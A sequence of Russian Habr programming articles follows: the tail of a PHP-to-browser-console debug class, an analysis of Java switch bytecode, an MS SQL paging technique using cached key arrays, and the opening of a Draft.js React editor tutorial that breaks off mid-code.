> $totaltime = $endtime-$timeStart;
>
> $this->info("$name: $totaltime seconds");
>
> $this->timers[$name] = null;
>
> }
>
> return $this;
>
> }
>
>
>
> /\*
>
> \* Сообщения в консоль
>
> \*/
>
> private function consoleType($msg, $mode) {
>
> if (is_string($msg))
>
> $msg = "'$msg'";
>
>
>
> if(is_array($msg)){
>
> $name = "o".($this->counter++);
>
> $this->code .= $this->js_hash($msg,$name);
>
> $this->code .= "console.".$mode."(dump(".$name."));";
>
> }
>
>
>
> if(!$name)
>
> $this->code .= "console.".$mode."(".$msg.");";
>
> }
>
>
>
> // Стандартное сообщение в консоль
>
> public function log($msg) {
>
> $this->consoleType($msg, "log");
>
> return $this;
>
> }
>
> // Сообщение об ошибке
>
> public function error($msg) {
>
> $this->consoleType($msg, "error");
>
> return $this;
>
> }
>
> // Сообщение предупреждения
>
> public function warn($msg) {
>
> $this->consoleType($msg, "warn");
>
> return $this;
>
> }
>
> // Сообщение со значком инфо
>
> public function info($msg) {
>
> $this->consoleType($msg, "info");
>
> return $this;
>
> }
>
>
>
> /\*
>
> \* Посмтроение объекта JS из PHP массива
>
> \*/
>
> private function js_hash($arr, $name, & $code = '') {
>
> if (!$this->vars[$this->counter]) {
>
> $code .= "var ";
>
> $this->vars[$this->counter] = true;
>
> }
>
>
>
> $code .= $name."={};";
>
>
>
> foreach ($arr as $key=>$value) {
>
>
>
> $outKey = (is_int($key))?'['.$key.']':".$key";
>
>
>
> if (is_array($value)) {
>
> $this->js_hash($value, $name.$outKey, $code);
>
> continue ;
>
> }
>
>
>
> $code .= $name.$outKey."=";
>
>
>
> if (is_string($value)) {
>
> $code .= "'".$value."';";
>
> } else if ($value === false) {
>
> $code .= "false;";
>
> } else if ($value === NULL) {
>
> $code .= "null;";
>
> } else if ($value === true) {
>
> $code .= "true;";
>
> } else {
>
> $code .= $value.";";
>
> }
>
> }
>
> return $code;
>
> }
>
> }`
### Примеры использования:
> `$d = new debug();
>
>
>
> // Создаем новый таймер
>
> $d->time('Timer');
>
>
>
> // Пишем в консоль приветсвенное сообщение :)
>
> $d->log("WELCOME!");
>
>
>
> // Создаем массив
>
> $arr = array();
>
> for($i = 0; $i < 6; $i++){
>
> $arr[] = "line #". $i;
>
> }
>
>
>
> // Выводим его в консоль
>
> $d->log($arr);
>
>
>
> $name = "Evgeny";
>
> $age = 18;
>
>
>
> // Массив посложнее
>
> $myHobbies = array (
>
> "films",
>
> "music" => array("full on", "psy", "dark"),
>
> "sports" => array(
>
> "extreme" => array("climbing","snowboard"),
>
> "diving",
>
> "karting"
>
> ),
>
> array(1,2,3,5,"sometxt")
>
> );
>
>
>
> // Делаем группу About
>
> $d->group("About");
>
> // В нее пишем имя и возраст
>
> $d->log("Hello, my name is $name");
>
> $d->log("and i am $age");
>
> $d->groupEnd();
>
>
>
> /\* Или так:
>
> \* $d->group("About")
>
> \* ->log("Hello, my name is $name")
>
> \* ->log("and i am $age")
>
> \* ->groupEnd();
>
> \*/
>
>
>
> // Делаем группу с увлечениями
>
> $d->group("My hobbies");
>
> // Пишем заголовок
>
> $d->info("list of my hobbies");
>
> // выводим массив
>
> $d->log($myHobbies);
>
> // закрываем группу
>
> $d->groupEnd();
>
>
>
> // Вывовод в консоль со знаком info времени выполнение РНР скрипта
>
> $d->timeEnd('Timer');
>
> // Обязательно при завершении работы с классом
>
> $d->end();
>
> // или $d->timeEnd('Timer')->end();
>
>
>
> /\* Примечание
>
> \* После использования метода end(), для последущего
>
> \* логирования нужно будет создавать новый объект класса,
>
> \* поэтому лучше использовать этот метод в конце скрипта.
>
> \*/`
После вызова метода end(), в html документ добавиться следующий javascript код:
> `(function(){console.log('WELCOME!');var o0={};o0[0]='line #0';o0[1]='line #1';o0[2]='line #2';o0[3]='line #3';o0[4]='line #4';o0[5]='line #5';console.log(dump(o0));console.group('About');console.log('Hello, my name is Evgeny');console.log('and i am 18');console.groupEnd();console.group('My hobbies');console.info('list of my hobbies');var o1={};o1[0]='films';o1.music={};o1.music[0]='full on';o1.music[1]='psy';o1.music[2]='dark';o1.sports={};o1.sports.extreme={};o1.sports.extreme[0]='climbing';o1.sports.extreme[1]='snowboard';o1.sports[0]='diving';o1.sports[1]='karting';o1[1]={};o1[1][0]=1;o1[1][1]=2;o1[1][2]=3;o1[1][3]=5;o1[1][4]='sometxt';console.log(dump(o1));console.groupEnd();console.info('Timer: 0.000530004501343 seconds');function dump(a,b){var c="";if(!b)b=0;var d="";for(var j=0;j++<=b;)d+=" ";if(typeof(a)=='object'){for(var e in a){var f=a[e];if(typeof(f)=='object'){c+=d+"'"+e+"' ...\n";c+=dump(f,b+1)}else{c+=d+"'"+e+"' => \""+f+"\"\n"}}}return c}})();`
А в консоли фаербаг мы увидим
ЗЫ
Замечания, предложения по скрипту — в комментарии
ЗЗЫ
Чтобы все это работало нужен [firefox](http://www.mozilla-europe.org/ru/firefox/) и [firebug](http://getfirebug.com/) | https://habr.com/ru/post/43080/ | null | ru | null |
# Тонкости оператора switch
Да, это целая статья по самому обычному switch в JDK 7. Бывает так, что накопленный материал кажется интересным и малоизвестным, а потом оказывается, что любая бабка у подъезда уже 50 лет знает об особенностях реализации switch. Но я попробую. Для затравки, предлагаю 3 вопроса:
1. (Простой) Каков результат работы этого кода?
```
switch(5){
default: System.out.print(0);
case 1: System.out.print(1); break;
case 4: System.out.print(4);
case 2: System.out.print(2);
}
```
2. Следующие 2 варианта практически одинаковы. Немного отличаются литералами.
| | |
| --- | --- |
|
```
//Вариант 1
switch("BBBBBB"){
case "AaAaAa": break;
case "AaAaBB": break;
case "AaBBAa": break;
case "AaBBBB": break;
case "BBAaAa": break;
case "BBAaBB": break;
case "BBBBAa": break;
case "BBBBBB": break;
}
```
|
```
//Вариант 2
switch("BBBBBB_8"){
case "AaAaAa_1": break;
case "AaAaBB_2": break;
case "AaBBAa_3": break;
case "AaBBBB_4": break;
case "BBAaAa_5": break;
case "BBAaBB_6": break;
case "BBBBAa_7": break;
case "BBBBBB_8": break;
}
```
|
Почему первый switch выполняется в несколько раз медленнее, по крайней мере, с отключенным JIT (-Djava.compiler=NONE)? Сами проверьте в цикле! JIT таким кодом не проведешь, но если немного пошаманить, то небольшая разница будет заметна.
3. Какова вычислительная сложность алгоритма нахождения совпадающего значения среди n case-ов (по крайней мере, в JDK 7)?
Ответы:
1. 01
2. Метод hashCode() возвращает одинаковое значение для всех строк первого switch. Подробности ниже.
3. В зависимости от случая может быть O(1), O(log n) и даже достигать O(n).
Давайте разбираться. Case-значения, для краткости, я буду называть ключами.
#### TableSwitch
Возьмем пример из первой задачи. Скомпилируем его и дизассемблируем полученный байт-код.
```
javap -c Main.class
```
```
0: iconst_5 // Засовываем 5 в стек
1: tableswitch { // 1 to 4 // Забираем 3 из стека и ищем в таблице
1: 39 // 39, 56, 32, 49 – адресные метки переходов
2: 56
3: 32
4: 49
default: 32
}
32: getstatic #27 // Field java/lang/System.out:Ljava/io/PrintStream;
35: iconst_0
36: invokevirtual #33 // Method java/io/PrintStream.print:(I)V
39: getstatic #27 // Field java/lang/System.out:Ljava/io/PrintStream;
42: iconst_1
43: invokevirtual #33 // Method java/io/PrintStream.print:(I)V
46: goto 63 // break
49: getstatic #27 // Field java/lang/System.out:Ljava/io/PrintStream;
52: iconst_4
53: invokevirtual #33 // Method java/io/PrintStream.print:(I)V
56: getstatic #27 // Field java/lang/System.out:Ljava/io/PrintStream;
59: iconst_2
60: invokevirtual #33 // Method java/io/PrintStream.print:(I)V
63: return
```
Нас особенно интересует инструкция с меткой 1. Она означает, что компилятор создал таблицу (массив), содержащий адреса переходов для всех значений ключей от наименьшего до наибольшего, без исключений. Алгоритм выполнения switch примерно такой (псевдокод):
```
if (valhigh){
jump default;
}else{
jump table[val - low];
}
```
В нашем случае: low==1, high==4, table=={39, 56, 32, 49}. Так как в таблице должны быть последовательно все ключи от low до high, то компилятору пришлось добавить ключ 3 и задать для него то же поведение, что и для default.
Начиная с инструкции 32, код всех case и default в порядке их расположения в исходном коде. Грубо говоря, здесь компилятор генерирует сплошной код обработчиков ключей. Думаю, теперь понятно, почему после найденного соответствия, выполнение продолжается до первого встретившегося break.
#### LookupSwitch
Появляется резонный вопрос: а что если значения ключей сильно разрежены? Если у нас их всего два: 1 и 1000000, то крайне неразумно создавать массив с миллионом элементов. Заменим в нашем примере ключ 4 на 10, этого будет достаточно (если вдруг нет – увеличьте). Смотрим байт-код (байт-код обработчиков остался практически тем же, поэтому не приведен):
```
1: lookupswitch { // 3
1: 43
2: 60
10: 53
default: 36
}
```
Здесь тоже задается таблица, но уже для пар: ключ — метка перехода. В спецификации JVM сказано, что хотя поиск может быть и линейным, ключи обязательно должны быть отсортированы для возможности более быстрого поиска, хотя сам способ поиска не оговаривается. Возможно, в каких-нибудь реализациях используется линейный поиск. Это первый известный мне случай (хотя и теоретический) со сложностью switch O(n). Далее мы увидим другой, более осязаемый.
Реальные пацаны и девчата спрашивают: как компилятор решает что выбрать – tableswitch или lookupswitch? А самые реальные скачивают исходники OpenJDK (учтите, в других реализациях JDK способ выбора может отличаться) и изучают метод visitSwitch класса com.sun.tools.javac.jvm.Gen.java в openjdk/langtools/src/share/classes.
```
// Determine whether to issue a tableswitch or a lookupswitch
// instruction.
long table_space_cost = 4 + ((long) hi - lo + 1); // words
long table_time_cost = 3; // comparisons
long lookup_space_cost = 3 + 2 * (long) nlabels;
long lookup_time_cost = nlabels;
int opcode =
nlabels > 0 &&
table_space_cost + 3 * table_time_cost <=
lookup_space_cost + 3 * lookup_time_cost
?
tableswitch : lookupswitch;
```
**table\_space\_cost** – в этот размер входит количество всех значений диапазона, плюс по одному значению для lo, hi, default\_address и маркер выбранного switch-метода (tableswitch).
**table\_time\_cost** – 3 операции: проверка вхождения в диапазон (на минимум и максимум) и извлечение адресной метки из таблицы.
**lookup\_space\_cost** – 2 значения на каждую пару ключ-адрес, плюс по значению для размера таблицы, default\_address, и маркер выбранного switch-метода (lookupswitch).
**lookup\_time\_cost** – предполагается худший случай – линейный поиск.
А сам алгоритм, как видите, нехитрый. Магическое число 3 («И эти люди запрещают нам ковыряться в носу» (с)), скорее всего, эмпирическое.
#### Сравнение строк
«String.hashCode может запросто иметь коллизии, String.equals слишком медленен, может быть, строки интернируются?» – так думал я, пока не изучил байт-код.
```
switch(""){
case "AA": break;
case "BB": break;
}
```
```
0: ldc #27 // String
2: dup
3: astore_0
4: invokevirtual #29 // Method java/lang/String.hashCode:()I
7: lookupswitch { // 2
2080: 32
2112: 44
default: 73
}
32: aload_0
33: ldc #35 // String AA
35: invokevirtual #37 // Method java/lang/String.equals:(Ljava/lang/Object;)Z
38: ifne 56
41: goto 73
44: aload_0
45: ldc #41 // String BB
47: invokevirtual #37 // Method java/lang/String.equals:(Ljava/lang/Object;)Z
50: ifne 66
53: goto 73
56: getstatic #43 // Field java/lang/System.out:Ljava/io/PrintStream;
59: iconst_1
60: invokevirtual #49 // Method java/io/PrintStream.println:(I)V
63: goto 73
66: getstatic #43 // Field java/lang/System.out:Ljava/io/PrintStream;
69: iconst_2
70: invokevirtual #49 // Method java/io/PrintStream.println:(I)V
73: return
```
То есть, на этапе компиляции вычисляется хэш-код всех ключей. Для строк всегда выполняется lookupSwitch, даже если хэши последовательны. При выполнении вычисляется хэш-код условного выражения и именно он сравнивается с хэшами-ключами. При совпадении строки еще и сравниваются (адреса 32–53) методом String.equals() для предотвращения возможной коллизии. И, в случае успеха, переход к выполнению соответствующего выражения (56–70).
А если у нас несколько ключей с одинаковыми хэшами?
```
switch(""){
case "Aa": break;
case "BB": break;
}
```
```
7: lookupswitch { // 1
2112: 24
default: 62
}
24: aload_0
25: ldc #35 // String Aa
27: invokevirtual #37 // Method java/lang/String.equals:(Ljava/lang/Object;)Z
30: ifne 45
33: aload_0
34: ldc #41 // String BB
36: invokevirtual #37 // Method java/lang/String.equals:(Ljava/lang/Object;)Z
39: ifne 55
42: goto 62
45: getstatic #43 // Field java/lang/System.out:Ljava/io/PrintStream;
48: iconst_1
49: invokevirtual #49 // Method java/io/PrintStream.println:(I)V
52: goto 62
55: getstatic #43 // Field java/lang/System.out:Ljava/io/PrintStream;
58: iconst_2
59: invokevirtual #49 // Method java/io/PrintStream.println:(I)V
62: return
```
Тогда эти ключи объединяются под одним хэш-ключом в lookupswitch, и, при совпадении ключа, происходит перебор всех строк с этим хэшем и их сравнение с помощью String.equals(). Пример из 2-го вопроса выполняет аж 8 сравнений. Вот вам и второй случай со сложностью O(n).
#### Выводы
Если бы не JIT, то можно было бы порассуждать об оптимизации switch. Но мне не удалось подобрать хорошего примера, в котором tableswitch был бы заметно быстрее lookupswitch (с включенным JIT). Ну, разве что такой:
1. Допустим, у нас N ключей со значениями от 1 до N. В этом случае, будет использоваться tableswitch.
2. Те же самые ключи, но плюс еще один, со значением много большим N. В этом случае, будет использоваться lookupswitch.
(С отключенным JIT все понятно, разница ощутима.)
С JIT никакой разницы. Возможно, он разбивает все ключи на несколько диапазонов и поступает с ними аналогично tableswitch. Однако, начиная с N=721, у меня произошло резкое падение производительности второго примера.
В завершение, напрашиваются только совсем дикие советы, считайте их шуткой: «Ребята, если у вас в цикле, который должен выполняться сто миллионов раз в секунду, 1000 case-ов с последовательными ключами кроме нескольких, то обрабатывайте эти несколько ключей вне switch. А если в этом цикле куча строковых ключей с одинаковыми хэшами, то подумайте о других способах реализации». | https://habr.com/ru/post/174065/ | null | ru | null |
# Постраничная выборка данных — альтернативный взгляд на давно известное
Проблема постраничной выборки информации из БД стара, как сама БД, и соответственно, обсуждена не одну тысячу раз. Нет, пожалуй, ни одной клиент-серверной системы, в которой эта проблема так или иначе не была бы адресована и решена. Сегодня я хочу рассказать об одном немного нестандартном способе взаимодействия клиентского слоя и MS SQL-бакенда при организации постраничной выборки в типичном публичном веб-приложении.
Для начала очертим типичные бизнес-требования и выведем из них входные условия — мы выбираем данные из некоторого списка (пользователей, товаров, транзакций) страницами по N записей на каждой, начиная с M-ной. Выборка осуществляется с примемением одного или более фильтров и некоторого критерия сортировки. Проблемы чисто клиентских решений типа интерактивных гридов на джаваскрипте, в которые нужно загрузить все данные, здесь рассматривать не будем, а остановимся на более умеренных вариантах, в которых постраничная выдача делается на сервере.
Как это делается традиционно? Слой приложения передает в бакенд значения фильтров, индекс первой нужной записи, и требуемое количество записей на страницу. В ответ база данных, прикладывая фильтры ко всей выборке, упорядочивает весь фильтрованный поднабор, и отдает назад записи с M до M+N-1. То, каким конкретно образом это сделает тот или иной разработчик и/или та или иная версия RDBMS, сейчас для нас несущественно — важно лишь что, что какой бы способ не использовался (временная таблица в MS SQL 2000, ROW\_NUMBER OVER () в 2005-2008, или TOP / OFFSET в 2011), необходимость выдачи нумерованного подмножества из фильтрованного **упорядоченного** множества обязательно означает раскручивание всего промежуточного результата после фильтра и его сортировку. Несущественно также и то, где будет произведено это раскручивание — непосредственно на пространстве данных, или на поле индексов (например, при использовании полного индексного покрытия или INCLUDED-колонок) — принципа эта разница не меняет.
Понятно, что если коэффициент фильтрации невысок, а фильтр — трудоемкий (например, полнотекстовый поиск), то КПД подобного метода будет очень низок, особенно по мере приближения к последним страницам выборки. И даже если фильтр — параметрический (например, по типу пользователя в таблице пользователей), и работает по специально созданному индексу, выкидывание в помойку почти 100% усилий сервера для каждого запроса последних страниц вызывает искреннюю жалость к железке, на которой сам RDBMS, собственно, и крутится.
В реальных же клиент-серверных приложениях существуют еще несколько моментов, усложняющих ситуацию:
a) чтобы правильно отрендерить страницу с пагинацией (прошу прощения за термин), слой приложения должен знать **общее** количество записей, проходящих через фильтр — для того, чтобы разделив его на N и округлив вверх (с очевидной оговоркой), получить количество страниц, нужное для меню навигации. Чтобы этого достичь, бакенд должен фактически либо выполнять при выборке каждой страницы поисковый запрос дважды — первый раз в усеченном варианте — выбирая просто… COUNT (1)… WHERE , без частичной выборки и сортировки, а второй — уже в полном, с выборкой нужного набора записей. Либо выполнять COUNT при первом переходе к фильтрованному выводу, и запоминать это значение.
б) если за время навигации пользователя по страницам в базе появится новая (или удалится существующая) запись, попадающая под условие фильтра — навигация съедет, и юзер имеет все шансы либо пропустить, либо повторно просмотреть одну или более записей.
в) вообще говоря, БД является наименее масштабируемым звеном в публичных системах, построенных по ACID-принципу. Отсюда вывод, что если вы однажды спроектировали вашу систему как достоверно имеющую все данные одновременно, то есть прямой смысл экономить ресурсы БД в первую очередь, и все, что возможно, разносить на легко масштабируемые сервера приложения.
Типичный алгоритм операций при постраничной навигации выглядит на си-подобном коде так (функции с префиксом DB выполняются в базе данных):
```
while (1)
{
create_filter(FormData, &F, &S); // создаем фильтр F и дефолтный критерий сортировки S
// из параметров поиска на форме FormData
DB_get_count(F, &C); // запрашиваем фильтрованное кол-во записей для построения меню навигации
while (1) // навигируемся, пока F и S неизменны (иначе начинаем сначала)
{
DB_get_records(F, N, M, S); // выбираем N записей, начиная с M по фильтру F и сортировке S
if (SORT_OR_FILTER_CHANGED == do_navigation(FormData, C, &N, &M, &S)) // обрабатываем пользовательскую навигацию
{
break; // если сортировка или фильтр поменялись - все сначала
}
}
}
```
Попробуем теперь его улучшить, избавившись от повторной фильтрации записей в DB\_get\_records при первом просмотре и каждой последующей навигации. Для этого вместо запроса выборки количества записей, подходящих под фильтр, выбираем весь отсортированный в нужном порядке массив их первичных ключей. Здесь предполагается, что первичные ключи записей компактны (например, int или bigint), а выборка даже с минимальной фильтрацией дает разумное количество записей. Если это не так, то в первом случае можно использовать суррогатные ключи (в подавляющем большинстве случаев так и делается), а во втором — ограничивать выборку разумным количеством (скажем, 100 000), или делать паллиативное решение, выбирая ключи порциями.
По аналогии с функцией DB\_get\_count псевдокода назовем ее DB\_get\_keys
Вторым шагом будет переписывание функции выборки данных с N по N+M-1 по заданным фильтрам и сортировке на функцию, которая выберет N записей с ключами, соответствующими переданному ей массиву ключей строго в порядке их нахождения в массиве. Сигнатура ее пусть будет
```
DB_get_records_by_keys(*K, N)
```
, где K — адрес массива ключей с нужной точки (то есть с M, а N — количество записей, которое нужно выбрать по этим ключам. Наш псевдоалгоритм теперь будет выглядеть так:
```
while (1)
{
create_filter(FormData, &F, &S); // создаем фильтр F и дефолтный критерий сортировки S
// из параметров поиска на форме FormData
DB_get_keys(F, S, K); // заполняем массив ключей K по фильтру F и сортировке S
while (1) // навигируемся, пока F и S неизменны (иначе начинаем сначала)
{
DB_get_records_by_keys(&(K[M]), N); // выбираем N записей, начиная с M
if (SORT_OR_FILTER_CHANGED == do_navigation(FormData, C, &N, &M, &S)) // обрабатываем пользовательскую навигацию
{
break; // если сортировка или фильтр поменялись - все сначала
}
}
}
```
Теперь попытаемся дать качественную оценку скорости его выполнения относительно классического. Примем допущение, что время передачи выбранного массива ключей от бакенда ничтожно мало по сравнению с временем поиска нужных данных (так это обычно и есть при передаче небольшого их количества и хорошем сетевом интерфейсе между сервером БД и серверами приложения). Так как общий алгоритм работы остается неизменным, нам достаточно только сопоставить разницу между функциями БД DB\_get\_count ?? DB\_get\_keys и DB\_get\_records ?? DB\_get\_records\_by\_keys.
Скорее всего, DB\_get\_count будет работать немного быстрее, в основном из-за того, что подсчет выбранных фильтром строк (то есть подсчет первичных ключей строк) не потребует внутренней сортировки, плюс отсутствие необходимости выдавать эти ключи из SQL engine наружу. Для сравнения — два execution plan'а:
Сравнение же DB\_get\_records и DB\_get\_records\_by\_keys будет в любом случае явно не в пользу первого метода, т.к. выборка записей по первичным ключам является только малой частью операций их поиска.
В итоге мы прогнозируем, что новый метод даст выигрыш, и тем больший, чем более трудоемок фильтр и больше среднее количество перелистываний страниц юзером на одну операцию изменения фильтра или критерия сортировки. Заметим также, что изменение критерия сортировки на обратный по тому же полю (статистически довольно частая операция) при данном способе может вообще производиться без обращения к БД простой инверсией движения указателя на начальный элемент при навигации и добавлению параметра в DB\_get\_records\_by\_keys, выбирающего записи по ключам в инверсном переданному порядке.
С точки зрения реализации всей идеи БД, остается лишь один момент — как эффективно передать [под]массив ключей в качестве параметра в статемент или процедуру так, чтобы результирующий вывод сохранил порядок ключей в массиве?
Разобъем эту задачу на две — передача массива в качестве параметра в код БД и собственно, сохранение порядка. Решений первой задачи несколько — основанных на XML или CSV-представлении, либо создании и заполнении табличной переменной. Сам же SQL-код, преобразовывающий входной массив в набор строк может быть выполнен как динамический SQL-запрос, процедура, или табличная функция.
Наиболее гибкой оказывается версия, выполненная без динамики как table function (TF) с использованием CTE — так называемых Common Table Expressions, позволяющих в MS SQL 2008 строить рекурсивные запросы для обработки вложенных данных.
Эту возможность CTE, наряду с возможностью TF быть использованной в качестве table source в составных запросах, мы и используем.
Задачу же сохранения порядка сортировки решим добавлением в структуру возвращаемой TF таблицы поля identity с нужным значением seed и increment (чтобы можно было сортировать снаружи), и указанием явного порядка вставки записей в возвращаемую таблицу (внутри). Функция в итоге получилась такая:
```
CREATE FUNCTION [dbo].[TF_IDListToTableWithOrder] (
@ListString varchar(MAX),
@Delim char(1)
) RETURNS @ID TABLE
(
RowIdx INT IDENTITY(0, 1) PRIMARY KEY CLUSTERED, -- поле для внешней сортировки
ID INT -- здесь храним значения ключей
)
AS
BEGIN
SET @ListString = REPLACE(@ListString, ' ', '')
IF LTRIM(RTRIM(ISNULL(@ListString, ''))) = ''
RETURN -- список пуст, выходим с пустой таблицей
SET @ListString = @ListString + @Delim -- добавляем хвостовой разделитель, чтобы CHARINDEX всегда давал > 0, включая последний ключ
; -- CTE требует этого разделителя
WITH IDRows (ID, Pos) AS
(
-- якорная часть (первый ключ)
SELECT CONVERT(INT, SUBSTRING(@ListString, 1, CHARINDEX(@Delim, @ListString, 1) - 1)), CHARINDEX(@Delim, @ListString, 1) + 1
UNION ALL
-- рекурсивная часть (следующий ключ с позицией, большей последней найденной)
SELECT CONVERT(INT, SUBSTRING(@ListString, Pos, CHARINDEX(@Delim, @ListString, Pos) - Pos)), CHARINDEX(@Delim, @ListString, Pos) + 1
FROM IDRows
WHERE Pos < LEN(@ListString) -- условие окончания рекурсии
)
-- переписываем все CTE в возвращаемую таблицу
INSERT INTO @ID (ID)
SELECT ID
FROM IDRows ORDER BY Pos -- упорядоченную по позиции разделителя - т.е. по позиции ключа во входном массиве
OPTION (MAXRECURSION 32767) -- глубина рекурсии по умолчанию 100 (может не хватить, поэтому ставим макс возможную)
RETURN
END
```
Проиллюстрируем использование на примере.
Создаем таблицу с тестовыми данными и убеждаемся, что они достаточно разнообразны ;):
```
DECLARE @testdata TABLE (ID INT IDENTITY PRIMARY KEY CLUSTERED, Name VARCHAR(128))
INSERT INTO @testdata
SELECT TOP 1000 A.name + B.name
FROM sysobjects A
CROSS JOIN sysobjects B
ORDER BY NEWID()
SELECT * FROM @testdata
```
Имитируем выборку ключей нашей функцией DB\_get\_keys с обратной сортировкой по искомому полю и сразу конвертим ее в CSV:
```
DECLARE @STR VARCHAR(MAX) = ''
SELECT TOP 20 @STR = @STR + ',' + CONVERT(VARCHAR, ID) FROM @testdata WHERE Name LIKE 'C%' ORDER BY Name DESC
IF LEN(@STR) > 0
SET @STR = RIGHT(@STR, LEN(@STR)-1)
SELECT @STR
```
И наконец, имитируем DB\_get\_records\_by\_keys:
```
SELECT TD.*
FROM @testdata TD
INNER JOIN dbo.TF_IDListToTableWithOrder(@STR, ',') LTT ON TD.ID = LTT.ID
ORDER BY LTT.RowIdx
```
Чтобы заставить все это работать в связке с сервером приложения, нужно сохранять в пользовательском контексте (для веба — в сессии) массив значений ключей на время навигации, что казалось бы, потребует большого объема памяти. Однако, если ключи целочисленные, и хранятся в простом скалярном массиве, а не в массиве объектов (разница принципиальная!), то скажем 100 000 ключей займет на сервере приложения всего 400 кБайт, что по современным меркам совсем немного.
Теперь про чувствительность метода к добавленным/удаленным во время навигации записям. Понятно, что вновь добавленные записи, попадающие под критерий фильтра пользователь не увидит — т.к. значения их ключей появятся позже момента выборки всего списка. Что же касается удаления, то, естественно, отсутствующая запись не будет возвращена, и количество фактически полученных записей по набору ключей может оказаться меньше затребованного. Эту ситуацию можно обработать на слое приложения, сравнив ID полученных записей с запрошенными, и выведя на месте отсутствующих какую-нибудь заглушку типа «Просматриваемая запись была удалена», чтобы не нарушать layout из-за изменения общего количества. А можно и сделать LEFT JOIN результата табличной функции с бизнес-таблицей — в таком случае для удаленной записи все поля будут NULL — и уже этот факт обработать на клиенте. В общем, варианты имеются.
И последнее. Этот метод был применен при апгрейде системы онлайн-аукциона для просмотра выбранных по фильтру лотов (страницами или одного за одним — вперед и назад) с возможностью биддинга и продолжения навигации. Для такого применения среднее количество навигаций на одном фильтре довольно велико, поэтому замена классической пагинации на эту была одной из эффективных мер, позволивших заметно облегчить участь SQL-сервера в моменты пиковых нагрузок | https://habr.com/ru/post/189946/ | null | ru | null |
# Создаем текстовый редактор на React.js
Введение
--------
Привет! Меня зовут Данила, и я фронтенд-разработчик в [KTS](https://kts.studio/).
Однажды в одном из своих проектов мне потребовалось реализовать кастомный текстовый редактор на React.js. Задача показалась мне довольно интересной, и я решил рассказать о своем опыте. В статье я поэтапно покажу, как можно создать текстовый редактор с базовыми функциями.
Надеюсь, информация будет полезной и сэкономит кому-то время и силы.
Что будет в статье:
1. [Описание задачи](#1)
2. [Что такое Draft.js?](#2)
3. [Архитектура](#3)
4. [Начинаем кодить](#4)
5. [Создание простых блоков](#5)
6. [Inline-стили текста](#6)
7. [Создание интерактивных элементов](#7)
8. [Обработка сочетаний клавиш](#8)
9. [Экспорт-импорт HTML в редактор](#9)
10. [Вместо заключения](#10)
1. Описание задачи
------------------
Сформируем список требований для нашего редактора. Он должен:
1. Иметь предустановленные стили элементов — заголовки, списки и т.д
2. Форматировать стили текста — жирность, курсив и т.д
3. Поддерживать интерактивные элементы — например, ссылки
4. Работать с сочетанием клавиш
5. Импортировать/экспортировать контент в HTML
Я понимал, что реализовывать все с нуля сложно и долго, так как браузеры могут по-разному обрабатывать нативные события работы с текстом.
Поэтому я начал искать информацию о том, как другие разработчики решали похожие задачи, и с какими подводными камнями они сталкивались. Выяснилось, что одним из популярных решений является пакет Draft.js.
2. Что такое Draft.js?
----------------------
В 2016 году инженеры Facebook представили пакет для работы с текстом на [React Conf](https://conf2016.reactjs.org/schedule#rich-text-editing-with-react). Draft.js — это фреймворк для работы с текстом на React.js. Он позволяет создать состояние редактора, которое будет хранить всю информацию о контенте, о положении курсора и многом другом. А также предоставляет кроссбраузерные функции для удобного изменения этого состояния. Draft.js работает с имутабельными данными при помощи [immutable.js](https://immutable-js.com/). Это означает, что при изменении состояния мы полностью перезаписываем его новой версией.
Контент в редакторе на Draft.js строится из [блоков](https://draftjs.org/docs/api-reference-content-block/). Блок — структура данных, в которой хранится информация о тексте внутри него. Каждому блоку можно задавать свои уникальные данные и настройки его рендера: задавать тег, стили, атрибуты или просто указать React-компонент. К любому фрагменту текста блока можно применить [inline-стили](https://draftjs.org/docs/advanced-topics-inline-styles) (например, сделать жирным). А для создания более сложных и интерактивных элементов в Draft.js есть системы [Entities](https://draftjs.org/docs/advanced-topics-entities/) и [Decorators](https://draftjs.org/docs/advanced-topics-decorators/). С их помощью можно рендерить произвольные React-компоненты и связывать их с фрагментами текста.
Более подробную информацию можно найти на [официальном сайте](https://draftjs.org/) фреймворка.
3. Архитектура
--------------
Наш компонент будет состоять из нескольких частей:
1. Окно редактора
2. Элементы управления
Весь API нашего редактора вынесем в отдельный React-hook useEditor.
Дизайн редактора может быть произвольным, и элементы управления могут находится далеко от самого окна редактора. Для того, чтобы не пробрасывать API редактора через props-ы множества компонентов, воспользуемся React Context. C его помощью компоненты смогут легко получить нужные данные и функции.
Таким образом, схема редактора будет выглядеть так:
### 4. Начинаем кодить
Чтобы не тратить время на создание и настойку сборки, воспользуемся [Create React App](https://create-react-app.dev/). Код будет написан на Typescript, поэтому создадим проект с соответствующим шаблоном:
```
$ npx create-react-app editor --template typescript
```
Установим необходимые зависимости:
```
$ yarn add draft-js draft-convert
```
* *draft-js* — фреймворк Draft.js
* *draft-convert* — библиотека для удобного импортирования и экспортирования данных из Draft.js. Более подробно о ней поговорим в блоке [«Экспорт-импорт html в редактор».](#9)
Установим типы для вышеописанных библиотек:
```
$ yarn add -D @types/draft-js @types/draft-convert
```
Создадим файл *useEditor.tsx.* Данный файл будет содержать React-hook, в котором мы будем описывать всю логику нашего редактора:
```
// src/TextEditor/useEditor.tsx
import { EditorState } from 'draft-js';
import * as React from 'react';
export type EditorApi = {
state: EditorState;
onChange: (state: EditorState) => void;
}
export const useEditor = (): EditorApi => {
const [state, setState] = React.useState(() => EditorState.createEmpty());
return React.useMemo(() => ({
state,
onChange: setState
}), [state])
}
```
С помощью метода *EditorState.createEmpty()* мы создаем пустое имутабельное состояние нашего редактора и сохраняем его в локальном состоянии. Постепенно мы будем добавлять в него функции и логику.
Создадим React Context, с помощью которого будем прокидывать API редактора:
```
// src/TextEditor/context.tsx
import * as React from 'react';
import { EditorApi, useEditor } from './useEditor';
const TextEditorContext = React.createContext(undefined);
export const useEditorApi = () => {
const context = React.useContext(TextEditorContext);
if (context === undefined) {
throw new Error('useEditorApi must be used within TextEditorProvider');
}
return context;
}
export const TextEditorProvider: React.FC = ({ children }) => {
const editorApi = useEditor();
return (
{children}
)
}
```
Теперь в любом месте нашего приложения мы можем получить доступ к функциям редактора с помощью хука *useEditorApi:*
```
const editorApi = useEditorApi();
```
Добавим провайдер на страницу:
```
// src/App.tsx
function App() {
return (
);
}
```
Создадим компонент окна редактора *TextEditor:*
```
// src/TextEditor/index.ts
export { default } from './TextEditor';
```
```
// src/TextEditor/TextEditor.tsx
import * as React from 'react';
import { Editor } from 'draft-js';
import { useEditorApi } from './context';
import cn from 'classnames';
import './TextEditor.scss';
export type TextEditorProps = {
className?: string;
}
const TextEditor: React.FC = ({ className }) => {
